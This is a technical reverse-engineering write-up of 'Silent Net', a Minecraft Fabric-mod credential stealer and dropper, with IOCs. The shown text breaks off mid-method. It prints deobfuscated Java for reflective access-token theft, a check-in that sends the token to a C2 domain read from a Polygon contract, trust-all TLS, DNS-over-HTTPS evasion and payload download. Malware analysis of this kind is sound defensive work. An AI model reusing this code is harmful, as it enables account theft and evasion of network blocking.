A complete technical breakdown of the Silent Net family. Fabric mod loader entry, reflective Mojang access token theft, C2 resolution from a Polygon smart contract, DNS over HTTPS to defeat blocking, a ZIP payload hidden in a PNG chunk called hIds, and handoff to a Python stage. Full obfuscation taxonomy, deobfuscated code for every stage, and IOCs.
This is a full reversal of the Silent Net family, a Minecraft-focused stealer and dropper that has been circulating through the mod and cheat scene. The analysis below covers the loader artefact in full: every class, every method, every string constant, and the complete execution chain from game launch to second-stage execution.
The scope is stated plainly at the outset because the boundary matters. Everything in the loader is verified against the binary, including all 152 obfuscated strings, which were decoded and are reproduced here verbatim. Everything past main.py is recon: the second stage is a bundled Python program that is not present in the loader, and no claim is made about its contents.
A second clarification, since the family is described loosely in the communities it circulates in. Silent Net is a credential stealer and a dropper. There is no command-and-control channel, no keylogging, no screen capture, no clipboard access, no browser credential theft, and no persistence mechanism anywhere in the loader. Those claims appear in forum descriptions of the family and they are not supported by the code.
The single most consequential design decision in this malware is also the least visible in the code. The command-and-control domain is not present in the binary. It is read from an Ethereum smart contract at runtime.
Component maph2
The loader is eight classes in a single package.
| class | role |
|---|---|
ModEntry | Fabric mod entrypoint, session theft, relaunch |
Launcher | standalone entrypoint, relaunch |
SessionReflector | reflective session scraper, zero I/O |
Dropper | orchestrator, payload delivery, exfiltration |
RawHttpClient | socket-level HTTP/1.1, TLS, DNS over HTTPS |
HttpResponse | response container, inner class of the HTTP client |
DnsCacheEntry | resolver cache record, inner class of the HTTP client |
TrustAllX509Manager | certificate validation bypass, inner class of the HTTP client |
Class names in all code listings are functional descriptors assigned for readability. The originals are opaque identifiers of the form dkceAf, nwoh, jmszuiDkdrc, kphnzpoHdnpji, rrWkn. Control flow, data flow, and every string constant are unchanged from the sample.
Obfuscation taxonomyh2
The loader applies six distinct techniques. They are worth separating because each defeats a different analysis method, and because the first one alone determines how long the sample resists a first look.
String encoding by constant arithmetich3
The loader contains no string literals. Not one. Every character of every string is computed at runtime from integer arithmetic, using three operand shapes with large randomised constants chosen so the folded result lands on the intended ASCII value.
sb.append((char) (60852 ^ 60805)); // '1'sb.append((char) (9759 ^ 9777)); // '.'sb.append((char) (32793 ^ 32808)); // '1'sb.append((char) (55164 ^ 55122)); // '.'sb.append((char) (23210 ^ 23195)); // '1'sb.append((char) (23517 ^ 23539)); // '.'sb.append((char) (32782 ^ 32831)); // '1'// result: "1.1.1.1"All three forms appear, freely mixed:
| form | example | folds to |
|---|---|---|
| XOR | (char) (60852 ^ 60805) | '1' |
| addition | (char) (12715 + 54143) | 'o' |
| subtraction | (char) (61404 - 61290) | 'J' |
The operands serve no purpose other than to defeat constant folding and pattern matching. They are individually meaningless and their only function is to cancel into the right answer.
This defeats more than grep. A rule written against strings will not fire, because the strings are not in the constant pool. A rule written against the operands is defeated the moment the author changes the randomisation, which is trivial to do automatically at build time.
String fragmentationh3
Individual strings are split across multiple StringBuilder variables so that no single variable ever holds a complete sensitive value. The target class name is assembled in three pieces across three builders:
sb.append("net.mine");sb.append("craft.class_310"); // sb2// third candidate is split again across sb3 and sb6Neither sb nor sb2 contains a resolvable class name on its own. This defeats signature matching on string constants even after the arithmetic has been folded, because the constant is never contiguous in the bytecode.
Opaque predicates and dead computationh3
Branches with statically true conditions wrap arithmetic whose results are never read.
if (5796277 >= 5796277 && 5796277 < 13621503) { int i = 25827 * 63;}if (((-82671695) & (-82671695)) == -82671695) { int i = ((-1856576568) << 1) >>> 16; long j = (7766500526990840571L & 1580892498155134278L) | 3136373257842039447L;}if (((-171657218) | (-171657218)) == -171657218) { int i = (-386283732) | 104960053; int i2 = (1937487615 << 21) >>> 27;}Each predicate is a tautology over its own operands. The decompiler renders them faithfully and in full, which is the main reason the raw disassembly of the largest class is 113 KB of which roughly 70 percent is inert.
The purpose is code inflation and analyst cost. There is no anti-emulation purpose here; every one of these would evaluate identically under any sane emulator.
Identifier manglingh3
Every class, method, field, and local name is randomised. Local names in particular are long, mixed-case, and machine generated, of the form wtPjyb, ndiyrlKropqCfqkmLup, ses_ed846f79dffefF0l0bktSSz96x. Fields use mixed conventions in the same class, which defeats a purely structural approach to name analysis.
There is one exception, and it is not accidental. The string constants compared inside SessionReflector to locate Minecraft’s methods and fields are stored as ordinary literals inside the comparison chain rather than run through the arithmetic encoder, because they must survive as comparable values in a String.equals call. That is what preserves them into the constant pool and it is the basis of the static detection discussed later.
Decoy valuesh3
Candidate lists contain entries that cannot resolve, on purpose. net.minecraft.client.Minecraft is not a real class. In one of the three token-stealing methods, two of the three candidates are truncated mid-string to net.minecraft.clie and net.minecraft.clientnt.Minecraft.
Each produces a ClassNotFoundException, which is swallowed by an empty catch block. The effect is to lengthen the candidate list, inflate the apparent breadth of the mapping support, and misdirect anyone attempting to enumerate the supported Minecraft versions.
Empty exception handlersh3
Every reflective and network failure path is swallowed.
// SessionReflector, three identical shapes:} catch (ClassNotFoundException e) {}...} catch (ReflectiveOperationException | RuntimeException e2) { return null;}
// ModEntry and Launcher, top level:} catch (Exception e) {}
// Dropper, check-in:} catch (Exception e) { return null;}No stack trace is emitted, no file is written, no telemetry is left. On a host where every stage fails, the loader produces no observable output. This is a deliberate operational decision and it is what makes the sample hard to notice without prior knowledge that it is present.
Summary of technique impacth3
| technique | defeated analysis |
|---|---|
| arithmetic string encoding | string grep, string-based signatures |
| string fragmentation | constant-pool signatures |
| opaque predicates | decompiler readability, manual review speed |
| identifier mangling | cross-sample correlation |
| decoy values | version-support enumeration, clean decompilation |
| empty catch blocks | failure-based detection, log-based detection |
Execution environmenth2
Silent Net runs inside the Minecraft client process on Windows and requires no installation step.
The delivery mechanism is the Fabric mod loader. Fabric mods are JAR files placed in the Minecraft mods directory; the loader instantiates any class implementing ModInitializer at startup and calls its entry point. The victim has a signed-in client open, and the mod executes inside it.
public class ModEntry implements ModInitializer { public void onInitialize() { new Thread(() -> { ... }).start(); }}That single interface is the entire delivery problem for the operator. Any channel that delivers a JAR into a mods folder works: cheat clients, optimisation packs, cracked launcher bundles, or a direct social-engineering download.
Three properties of this execution model shape the rest of the design:
- The process is already trusted and already elevated if the user runs Minecraft as administrator, which is common.
- No new process is created for the initial theft, so there is nothing for a user to see.
- The malware holds a live authenticated session object in memory, in the hands of the game.
A second entrypoint exists for double-click execution, with a re-entry guard so the relaunch does not recurse:
public static void main(String[] args) { if (args.length > 0 && !args[0].equals("-restarted")) { Dropper.main(args); // config already supplied, run stage one return; } for (String a : args) { if (a.equals("-restarted")) { buildConfigAndDelegate(); // first run, build config then hand off return; } } // ... build a minimal config and relaunch, see below}The -restarted sentinel is passed as an argument to the relaunched process. Its presence marks the second stage of execution.
The platform binding is absolute. There is no Linux or macOS code path. Windows-specific dependencies throughout: javaw.exe from System.getProperty("java.home"), the %LOCALAPPDATA% environment variable, Path.of with backslash-separated components, and new File("NUL") for stdin redirection.
Execution chainh2
- Minecraft launches, the mod loader instantiates the mod entrypoint.
- A background thread is started; the game client continues normally.
- Username, UUID, and access token are read reflectively from the live session object.
- The C2 domain is resolved from a Polygon smart contract.
POST /shard/prefireMccarrying the stolen access token. Account compromise is complete.- A JSON configuration is assembled and base64 encoded.
javaw.exeis relaunched with the loader on its classpath and the configuration as an argument.- The child process repeats steps 4 and 5, then continues.
GET /cdn/v2/9f4e7a2c1b8d.pngretrieves a PNG carrying a ZIP in a custom chunk.- The payload is inflated, unpacked, and written to disk.
python.exe main.pyexecutes the second stage.POST /shard/submitMinecraftLogexfiltrates the game log and an implant self-report. Fires on every exit path.
Steps 5 and 12 are the two that matter. Step 5 is the theft and it is unconditional. Step 12 is the confirmation.
Stage one: session thefth2
The reflector class is 1,021 lines with exactly one import, java.lang.reflect. No networking, no file access, no process creation, no crypto. It reads values off the live client object and returns them.
Three methods, one reflection chain, three different values taken from it.
Chain resolutionh3
StringBuilder sb = new StringBuilder();sb.append("net.mine");sb.append(new String(new char[]{ /* "craft.class_310" */ }));// third candidate fragmented across sb3 + sb6
for (String className : candidates) { try { Class<?> mcClass = Class.forName(className);
Method singleton = null; for (Method m : mcClass.getDeclaredMethods()) { if (m.getParameterCount() == 0 && Modifier.isStatic(m.getModifiers())) { singleton = m; break; } } if (singleton != null) { singleton.setAccessible(true); Object mc = singleton.invoke(null); ... } } catch (ClassNotFoundException e) { // swallowed; decoys and unmapped versions land here }}The singleton is located structurally, by signature, rather than by name. That is what makes it work across the naming schemes.
Session accessor and type guardh3
for (Method m : mcClass.getDeclaredMethods()) { String name = m.getName(); if (name.equals("getSession") || name.equals("getUser") || name.equals("method_1548")) { // guard: only proceed if this method actually returns a Session if (m.getReturnType().getSimpleName().equals("Session")) { m.setAccessible(true); Object session = m.invoke(mc); ... } }}for (Field f : mcClass.getDeclaredFields()) { if (!Modifier.isStatic(f.getModifiers()) && f.getName().equals("field_1726")) { f.setAccessible(true); Object session = f.get(mc); ... }}The return-type check is worth noting. The loader verifies the shape of the object before reading a credential from it, which requires an understanding of the mapping tables that goes beyond pattern copying.
Value extractionh3
for (Method m : session.getClass().getDeclaredMethods()) { if (m.getName().equals("getUuid") || m.getName().equals("method_44717")) { m.setAccessible(true); Object v = m.invoke(session, new Object[0]); if (v != null) { return v.toString(); } }}for (Field f : session.getClass().getDeclaredFields()) { if (!Modifier.isStatic(f.getModifiers()) && f.getName().equals("field_1985")) { f.setAccessible(true); Object v = f.get(session); if (v != null) { return v.toString(); } }}Method name, intermediary name, then field handle, in that order, with every failure swallowed.
| method | returns | members attempted |
|---|---|---|
stealUsername | in-game username | getUsername, method_1676, field_1982 |
stealUuid | profile UUID | getProfileId, getUuidOrNull, method_44717, field_1985 |
stealAccessToken | OAuth access token | getAccessToken, method_1674, field_1983 |
Why the token mattersh3
A Minecraft access token is a bearer credential. Possession of it is sufficient to act as the account holder against the session endpoints, with no password or second factor involved.
This is the entire objective of the loader. Everything after this point is distribution.
The breadth of the candidate list is what allows one artefact to cover the mod ecosystem rather than a single Minecraft version. Yarn names, intermediary names, and field handles are all attempted, and the decoy entries mean the list length overstates the coverage. Both facts are useful context for assessing whether a given installation is vulnerable.
Stage two: the check-inh2
The theft is transmitted immediately, before any payload work begins.
public String checkInToC2(String host, String sess, String uid) { try { String body = "{\"sessionId\":\"" + jsonEscape(sess) + "\",\"userId\":\"" + jsonEscape(uid) + "\"}"; String url = "https://" + host + "/shard/prefireMc";
HttpResponse r = RawHttpClient.httpPostWithHeaders( url, body, "application/json", Map.of("X-Edge-Cache-Revalidate", "stale-if-error", "X-Runtime-Env", "jre-embedded"));
if (r.statusCode != 200) return null; return jsonField(r.bodyString(), "prefireId"); } catch (Exception e) { return null; }}And the caller:
String accessToken = SessionReflector.stealAccessToken();String username = SessionReflector.stealUsername();String uuid = SessionReflector.stealUuid();if (uuid == null) uuid = "unknown";
String campaignId = getCampaignId();String botId = getBotId();Path gameDir = detectGameDir();
Dropper dropper = new Dropper();String domain = dropper.resolveC2Domain();String prefireId = dropper.checkInToC2(domain, accessToken, campaignId);The stolen access token is sent as sessionId on the first HTTP request the malware makes. When the check-in returns, the account is compromised, regardless of whether every subsequent stage succeeds.
Configuration handoffh2
The relaunched process receives its configuration as a single base64 argument. On the mod path, the stolen session is nested inside it one level of encoding deeper.
String mcInfo = Base64.getEncoder().encodeToString( ("{\"username\":\"" + jsonEscape(username) + "\",\"uuid\":\"" + jsonEscape(uuid) + "\",\"accessToken\":\"" + jsonEscape(accessToken) + "\"}") .getBytes(StandardCharsets.UTF_8));That value is embedded in a larger configuration object:
{"mcInfo":"<base64 of the object above>", "prefireId":"<identifier returned by the check-in>", "userId":"0882e377-9660-4543-b568-0b9336e30155", "tag":"<distribution tag>", "domain":"<resolved C2 domain>", "gameDir":"<detected Minecraft directory>", "mcUsername":"<stolen username>", "mcUuid":"<stolen uuid>", "env":"Fabric"}The standalone path builds a smaller configuration, because it has no session to carry:
String config = "{\"userId\":\"" + jsonEscape(getCampaignId()) + "\",\"tag\":\"" + jsonEscape(getBotId()) + "\",\"domain\":\"" + jsonEscape(resolveC2Domain()) + "\",\"env\":\"DoubleClick\"}";
Dropper.main(new String[]{ Base64.getEncoder().encodeToString(config.getBytes(StandardCharsets.UTF_8)) });The env field distinguishes the delivery channel: Fabric for the mod path, DoubleClick for direct execution. It is carried through to the second-stage command line, which lets the operator attribute and price victims by funnel.
JSON handlingh3
No JSON library is present. Parsing is a substring search with manual escape handling:
String jsonField(String json, String key) { String needle = "\"" + key + "\":\""; int start = json.indexOf(needle); if (start == -1) return null; int i = start + needle.length();
StringBuilder out = new StringBuilder(); boolean inEscape = false; while (i < json.length()) { char c = json.charAt(i); if (inEscape) { switch (c) { case '"': out.append('"'); break; case '\\': out.append('\\'); break; case 'n': out.append('\n'); break; case 'r': out.append('\r'); break; case 't': out.append('\t'); break; case 'u': /* 4 hex digits */ break; default: out.append(c); } inEscape = (c != 'u'); } else if (c == '\\') { inEscape = true; } else if (c == '"') { break; } else { out.append(c); } i++; } return out.toString();}This is a hand-rolled scanner. It requires the value to be a string with no whitespace between the colon and the opening quote, which is a real limitation that constrains how the C2 server must format its responses.
Escaping for outbound values is a separate routine, duplicated in two classes:
private String jsonEscape(String s) { if (s == null) return ""; StringBuilder sb = new StringBuilder(); for (char c : s.toCharArray()) { switch (c) { case '\t': sb.append("\\t"); break; case '\n': sb.append("\\n"); break; case '\r': sb.append("\\r"); break; case '"': sb.append("\\\""); break; case '\\': sb.append("\\\\"); break; default: if (c < ' ') sb.append(String.format("\\u%04x", (int) c)); else sb.append(c); } } return sb.toString();}Configuration decodingh3
private boolean parseConfig(String b64) { try { String json = new String(Base64.getDecoder().decode(b64), StandardCharsets.UTF_8); this.mcInfo = jsonField(json, "mcInfo"); this.prefireId = jsonField(json, "prefireId"); this.userId = jsonField(json, "userId"); this.tag = jsonField(json, "tag"); this.c2Domain = jsonField(json, "domain"); this.gameDir = jsonField(json, "gameDir"); this.mcUsername = jsonField(json, "mcUsername"); this.mcUuid = jsonField(json, "mcUuid"); this.loaderEnv = jsonField(json, "env");
if (this.loaderEnv == null) this.loaderEnv = "Fabric"; if (this.c2Domain == null || this.userId == null) return false; return true; } catch (Exception e) { return false; }}Domain and campaign identifier are both mandatory. Everything else has a fallback or is optional.
The C2 domainh2
This is the operationally significant design decision in the family, and it is the reason a full writeup is warranted.
No domain in the binaryh3
There is no hardcoded primary command-and-control address. The domain is read from an Ethereum smart contract at execution time, on every run.
public String resolveC2Domain() { if (this.cachedC2Domain != null) return this.cachedC2Domain;
String address = getC2ContractAddress(); String selector = getContractSelector();
String body = "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{" + "\"to\":\"" + address + "\",\"data\":\"" + selector + "\"},\"latest\"],\"id\":1}";
for (String rpc : getPolygonRpcEndpoints()) { try { HttpResponse r = RawHttpClient.httpPost(rpc, body, "application/json"); if (r.statusCode == 200) { String v = parseRpcResult(r.bodyString()); if (v != null && v.length() > 0) { this.cachedC2Domain = v; return v; } } } catch (Exception e) { } } this.cachedC2Domain = getFallbackC2Domain(); return this.cachedC2Domain;}The contract address and function selector are hardcoded, in three fragments each:
return sb.append("0x9c0a507300fd") .append("902787bb193d") .append("80fca5ce6e1bff9a") .toString();
private static String getContractSelector() { return sb2.toString(); // "0xce6d41de"}RPC endpointsh3
Five endpoints, attempted in order, first success wins.
| host | characteristics |
|---|---|
polygon-org.rpc.publicnode.com | public, unauthenticated |
polygon-bor-rpc.publicnode.com | public, unauthenticated |
1rpc.io/matic | public, unauthenticated |
api.zk.top with polygon-mainnet.ic.quiknode.pro | provisioned commercial endpoint, host assembled from three fragments |
rpc-mainnet.ic.quiknode.pro | provisioned commercial endpoint |
The ordering is a degradation path: three free public endpoints first, then two commercial ones as backup. The commercial endpoints being present at all is a cost signal. Dedicated RPC capacity is provisioned and billed, and maintaining it to answer one read per victim is a deliberate operational expense rather than an accident.
Response parsingh3
private String parseRpcResult(String json) { int r = json.indexOf("\"result\""); if (r == -1) return null;
int colon = json.indexOf(":", r); int q1 = json.indexOf("\"", colon); int q2 = json.indexOf("\"", q1 + 1);
if (q1 == -1 || q2 == -1) return null; return decodeContractBlob(json.substring(q1 + 1, q2));}Then the ABI decode. This is a standard Solidity string return: a 32-byte offset, a 32-byte length, then the UTF-8 payload.
private String decodeContractBlob(String hex) { if (hex == null || !hex.startsWith("0x") || hex.length() < 130) return null; try { String body = hex.substring(2); int len = Integer.parseInt(body.substring(64, 128), 16); if (len == 0 || len > 10000) return null;
String data = body.substring(128, 128 + (len * 2)); return new String(hexToBytes(data), StandardCharsets.UTF_8); } catch (Exception e) { return null; }}The 10000-byte ceiling is a sanity bound on the decoded value. A domain longer than that is rejected and the next endpoint is tried.
Result cachingh3
private static final Map<String, DnsCacheEntry> cache = new ConcurrentHashMap<>();C2 resolution caches for 300,000 milliseconds. Within a single execution this matters little, but the same structure is used for DNS, where it is the difference between one and many lookups per connection.
Fallbackh3
If every RPC endpoint fails, a single hardcoded domain is used:
thisisafalsepositive.stThis is the only domain present in the binary, and it is a fallback rather than the primary.
Summaryh3
| contract | 0x9c0a507300fd902787bb193d80fca5ce6e1bff9a |
| selector | 0xce6d41de |
| chain | Polygon PoS |
| fallback domain | thisisafalsepositive.st |
| live domain | determined by contract state at execution time |
The live domain cannot be stated without reading the contract, which was not done. That is recon. What is verifiable is the contract address, the selector, the endpoint list, the decode logic, and the fallback.
Operational assessmenth3
The benefit to the operator is domain rotation with no infrastructure to attack. Changing the address requires a transaction to a contract. No new build, no update server, no push to hosts already infected. Every victim fetches the current address at the moment it runs, so a domain takedown is recovered from on the next infection cycle.
The cost is equally structural. The read is public, so the current domain is available to anyone who queries the contract. The history is permanent, so contract storage constitutes an append-only record of every address the operation has ever used. For a defender, that record is a forward-looking map rather than a historical artifact.
Network layerh2
The HTTP client is written from scratch. There is no HttpURLConnection, no HttpClient, no third-party dependency.
Response containerh3
public static class HttpResponse { public final int statusCode; public final String statusLine; public final Map<String, String> headers; public final byte[] body;
public String bodyString() { return new String(body, StandardCharsets.UTF_8); } public String header(String name) { return headers.get(name.toLowerCase()); }}Request constructionh3
URL url = URI.create(urlStr).toURL();String host = url.getHost();int port = url.getPort();boolean isTls = url.getProtocol().equalsIgnoreCase("https");if (port == -1) port = isTls ? 443 : 80;
String path = url.getPath();if (path == null || path.isEmpty()) path = "/";if (url.getQuery() != null) path = path + "?" + url.getQuery();
String ip = resolveHost(host); // see DNS section
Socket sock = new Socket();sock.setReceiveBufferSize(524288);sock.connect(new InetSocketAddress(ip, port), 10000);sock.setSoTimeout(30000);
if (isTls) { SSLSocket ssl = (SSLSocket) sslFactory.createSocket(sock, host, port, true); SSLParameters p = ssl.getSSLParameters(); p.setServerNames(List.of(new SNIHostName(host))); p.setEndpointIdentificationAlgorithm("HTTPS"); ssl.setSSLParameters(p); ssl.startHandshake(); sock = ssl;}Connection parameters, which are fingerprintable:
| setting | value |
|---|---|
| connect timeout | 10000 ms |
| read timeout | 30000 ms |
| receive buffer | 524288 bytes |
| DNS cache TTL | 300000 ms |
Request serialisationh3
StringBuilder req = new StringBuilder();req.append(method).append(" ").append(path).append(" HTTP/1.1\r\n");req.append("Host: ").append(host);if ((isTls && port != 443) || (!isTls && port != 80)) req.append(":").append(port);req.append("\r\n");req.append("Connection: close\r\n");
boolean hasAccept = false, hasUserAgent = false;for (Map.Entry<String, String> e : customHeaders.entrySet()) { String name = e.getKey(); if (name.equalsIgnoreCase("Host") || name.equalsIgnoreCase("Connection") || name.equalsIgnoreCase("Content-Length")) { continue; // caller cannot override these } if (name.equalsIgnoreCase("Accept")) hasAccept = true; if (name.equalsIgnoreCase("User-Agent")) hasUserAgent = true; req.append(name).append(": ").append(e.getValue()).append("\r\n");}
if (!hasAccept) req.append("Accept: */*\r\n");if (!hasUserAgent) req.append("User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) " + "AppleWebKit/537.36\r\n");if (body != null) { byte[] payload = body.getBytes(StandardCharsets.UTF_8); if (contentType != null) req.append("Content-Type: ").append(contentType).append("\r\n"); req.append("Content-Length: ").append(payload.length).append("\r\n");}req.append("\r\n");
out.write(req.toString().getBytes(StandardCharsets.ISO_8859_1));if (payload != null) out.write(payload);out.flush();Three header names are unconditionally blocked from caller override: Host, Connection, and Content-Length. Those are exactly the three whose manipulation would break the parser. Accept and User-Agent are tracked so defaults can be applied when absent.
The default user agent is a bare Chrome signature with no browser version or platform token, which is a distinguishing detail. The payload download path overrides it with a complete and more plausible string.
Response parsingh3
BufferedInputStream in = new BufferedInputStream(raw);ByteArrayOutputStream head = new ByteArrayOutputStream();int prev = -1, b;while ((b = in.read()) != -1) { head.write(b); if (prev == 13 && b == 10) { // CRLF int size = head.size(); byte[] bytes = head.toByteArray(); if (size >= 4 && bytes[size-4] == 13 && bytes[size-3] == 10) break; // blank line } prev = b;}
String headText = head.toString(StandardCharsets.ISO_8859_1);String[] lines = headText.split("\r\n");String statusLine = lines.length > 0 ? lines[0] : "";
int statusCode = 0;if (statusLine.startsWith("HTTP/")) { int sp = statusLine.indexOf(' '); if (sp > 0) { int sp2 = statusLine.indexOf(' ', sp + 1); String code = sp2 > 0 ? statusLine.substring(sp + 1, sp2) : statusLine.substring(sp + 1); try { statusCode = Integer.parseInt(code.trim()); } catch (NumberFormatException e) { } }}
Map<String, String> headers = new LinkedHashMap<>();int contentLength = -1;boolean chunked = false;
for (int i = 1; i < lines.length; i++) { int colon = lines[i].indexOf(':'); if (colon > 0) { String k = lines[i].substring(0, colon).trim().toLowerCase(); String v = lines[i].substring(colon + 1).trim(); headers.put(k, v);
if (k.equals("content-length")) { try { contentLength = Integer.parseInt(v); } catch (NumberFormatException e) { } } else if (k.equals("transfer-encoding")) { if (v.toLowerCase().contains("chunked")) chunked = true; } }}
byte[] body;if (chunked) { body = decodeChunkedBody(in);} else if (contentLength >= 0) { body = new byte[contentLength]; int read = 0; while (read < contentLength && (n = in.read(body, read, contentLength - read)) != -1) read += n;} else { ByteArrayOutputStream all = new ByteArrayOutputStream(1048576); byte[] buf = new byte[131072]; while ((n = in.read(buf)) != -1) all.write(buf, 0, n); body = all.toByteArray();}
return new HttpResponse(statusCode, statusLine, headers, body);Three body framing methods are supported, in priority order: chunked transfer encoding, declared content length, then read to end of stream. The chunked branch takes precedence over content length, which is the correct behaviour when a server sends both.
Chunked decodingh3
ByteArrayOutputStream out = new ByteArrayOutputStream(1048576);StringBuilder sizeBuf = new StringBuilder();
while (true) { sizeBuf.setLength(0); int c; while ((c = in.read()) != -1 && c != 13) sizeBuf.append((char) c); // read to CR if (c == 13) in.read(); // consume LF
String line = sizeBuf.toString(); int ext = line.indexOf(';'); // strip chunk extensions if (ext >= 0) line = line.substring(0, ext);
int size = Integer.parseInt(line.trim(), 16); // hex if (size == 0) break;
byte[] chunk = new byte[size]; int read = 0; while (read < size && (n = in.read(chunk, read, size - read)) != -1) read += n; out.write(chunk, 0, read);
in.read(); // trailing CRLF in.read();}return out.toByteArray();Chunk extensions are handled, which is not always the case in hand-written clients and suggests the implementation was tested against a real server rather than only against itself.
TLS configurationh3
Certificate validation is disabled.
private static class TrustAllX509Manager implements X509TrustManager { private TrustAllX509Manager() { }
@Override public void checkClientTrusted(X509Certificate[] chain, String authType) { } @Override public void checkServerTrusted(X509Certificate[] chain, String authType) { } @Override public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }}
static { try { SSLContext ctx = SSLContext.getInstance("TLS"); ctx.init(null, new TrustManager[]{ new TrustAllX509Manager() }, new SecureRandom()); sslFactory = ctx.getSocketFactory(); } catch (Exception e) { sslFactory = (SSLSocketFactory) SSLSocketFactory.getDefault(); }}The empty checkServerTrusted accepts any certificate from any issuer. Combined with setEndpointIdentificationAlgorithm("HTTPS"), the client requires the hostname to be presented correctly in the handshake while not caring whether the certificate was signed by a recognised authority.
DNS over HTTPSh2
The reason the HTTP client had to be written from scratch is visible in the line resolveHost(host). Silent Net resolves DNS itself, and does so over HTTPS.
This defeats domain-based blocking directly. A DNS blocklist entry for the C2 address has no effect, because the local resolver is never consulted.
Host resolutionh3
public static String resolveHost(String hostname) throws IOException { if (isIpv4Literal(hostname)) return hostname;
DnsCacheEntry cached = cache.get(hostname); if (cached != null && !cached.isExpired()) return cached.ip;
byte[] query = buildDnsQuery(hostname); byte[] response = dohQuery(query); String ip = parseDnsResponse(response);
if (ip != null) { cache.put(hostname, new DnsCacheEntry(ip, System.currentTimeMillis() + 300000)); } return ip;}
private static boolean isIpv4Literal(String s) { if (s == null || s.isEmpty()) return false; for (char c : s.toCharArray()) { if (c != '.' && (c < '0' || c > '9')) return false; } return s.contains(".");}Query constructionh3
A DNS wire-format packet is assembled by hand.
private static byte[] buildDnsQuery(String hostname) { ByteArrayOutputStream buffer = new ByteArrayOutputStream(); DataOutputStream out = new DataOutputStream(buffer); try { short id = (short) (System.nanoTime() & 65535); out.writeShort(id); out.writeShort(256); // standard query, recursion desired out.writeShort(1); // one question out.writeShort(0); // no answers out.writeShort(0); // no authority records out.writeShort(0); // no additional records
for (String label : hostname.split("\\.")) { out.writeByte(label.length()); out.writeBytes(label); } out.writeByte(0); // root label out.writeShort(1); // type A out.writeShort(1); // class IN return buffer.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); }}Transporth3
private static byte[] dohQuery(byte[] dnsQuery) throws IOException { Socket sock = new Socket(); sock.connect(new InetSocketAddress("1.1.1.1", 443), 10000); sock.setSoTimeout(30000);
SSLSocket ssl = (SSLSocket) sslFactory.createSocket(sock, "cloudflare-dns.com", 443, true); SSLParameters p = ssl.getSSLParameters(); p.setServerNames(List.of(new SNIHostName("cloudflare-dns.com"))); ssl.setSSLParameters(p); ssl.startHandshake();
try { OutputStream out = ssl.getOutputStream(); InputStream in = ssl.getInputStream();
String encoded = Base64.getUrlEncoder().withoutPadding().encodeToString(dnsQuery);
StringBuilder req = new StringBuilder(); req.append("GET /dns-query?dns=").append(encoded).append(" HTTP/1.1\r\n"); req.append("Host: cloudflare-dns.com\r\n"); req.append("Accept: application/dns-message\r\n"); req.append("Connection: close\r\n"); req.append("\r\n");
out.write(req.toString().getBytes(StandardCharsets.ISO_8859_1)); out.flush(); return parseResponse(in).body; } finally { ssl.close(); }}The request on the wire:
GET /dns-query?dns=<base64url, unpadded> HTTP/1.1Host: cloudflare-dns.comAccept: application/dns-messageConnection: closeThe resolver IP is hardcoded to 1.1.1.1 while SNI and the Host header both carry cloudflare-dns.com. A dedicated resolver address with correct virtual-host routing, which is what makes the request valid against Cloudflare’s endpoint.
The only hostname this host ever resolves is cloudflare-dns.com, which is not subject to blocking.
Response decodingh3
private static String parseDnsResponse(byte[] response) { if (response == null || response.length < 12) return null; ByteBuffer buf = ByteBuffer.wrap(response);
buf.getShort(); // transaction ID int flags = buf.getShort(); if ((flags & 32768) == 0) return null; // QR bit: is this a response? if ((flags & 15) != 0) return null; // RCODE: non-zero is an error
int qdcount = buf.getShort() & 65535; int ancount = buf.getShort() & 65535; buf.getShort(); // authority count buf.getShort(); // additional count
for (int i = 0; i < qdcount; i++) { skipDnsName(buf); buf.getShort(); // QTYPE buf.getShort(); // QCLASS }
for (int i = 0; i < ancount; i++) { skipDnsName(buf); int type = buf.getShort() & 65535; buf.getShort(); // CLASS buf.getInt(); // TTL int rdlen = buf.getShort() & 65535;
if (type == 1 && rdlen == 4) { // A record, IPv4 byte[] octets = new byte[4]; buf.get(octets); return (octets[0] & 255) + "." + (octets[1] & 255) + "." + (octets[2] & 255) + "." + (octets[3] & 255); } buf.position(buf.position() + rdlen); } return null;}
private static void skipDnsName(ByteBuffer buf) { while (buf.hasRemaining()) { int len = buf.get() & 255; if (len == 0) return; // root label terminates if ((len & 192) == 192) { // compression pointer buf.get(); return; } buf.position(buf.position() + len); }}This is a complete DNS response parser, including name compression handling and RCODE validation. Only the first A record is used.
Payload deliveryh2
Retrievalh3
for (int attempt = 1; attempt <= 3; attempt++) { try { log("Download attempt " + attempt + "/3...");
String url = "https://" + c2Domain + getPayloadUrlPath();
HttpResponse r = RawHttpClient.httpGet(url, Map.of( "User-Agent", "Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 " + "(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Accept", "image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Language", "en-US,en;q=0.9", "Sec-Fetch-Dest", "image", "Sec-Fetch-Mode", "no-cors", "Sec-Fetch-Site", "same-origin"));
if (r.statusCode != 200 || r.body.length == 0) { log("Download failed: HTTP " + r.statusCode); } else { log("Downloaded " + r.body.length + " bytes, extracting from image..."); byte[] archive = extractPayloadFromPng(r.body); if (archive == null) { log("PNG extraction failed"); } else { log("Extracted " + archive.length + " bytes from image, unpacking..."); int files = unzipPayload(archive); log("Extracted " + files + " files");
if (Files.exists(basePath.resolve("python.exe"))) { log("Portable runtime ready"); return true; } } }
if (attempt < 3) Thread.sleep(2000L * attempt); } catch (Exception e) { log("Attempt " + attempt + " error: " + e.getMessage()); }}return false;Three attempts with a linear backoff of two, four, and six seconds.
The request headers are the detail worth noting. Sec-Fetch-Dest: image on a request that returns a ZIP is a value chosen to satisfy logging systems that key on fetch metadata rather than content type. The Accept header is image-only for the same reason. The user agent is a complete and current Chrome string, which differs from the library default and is set specifically for this request.
The success condition is the presence of python.exe on disk, not the download returning 200. The loop verifies the extraction actually produced a runnable runtime before reporting success.
Payload pathh3
return sb.append("/cdn/v2/9f").append("4e7a2c1b8d.png").toString();Full request path: /cdn/v2/9f4e7a2c1b8d.png.
Steganographic extractionh3
The response is a valid PNG. The payload is stored in a chunk that is not a registered PNG chunk type.
private byte[] extractPayloadFromPng(byte[] img) { try { if (img.length < 8) return null;
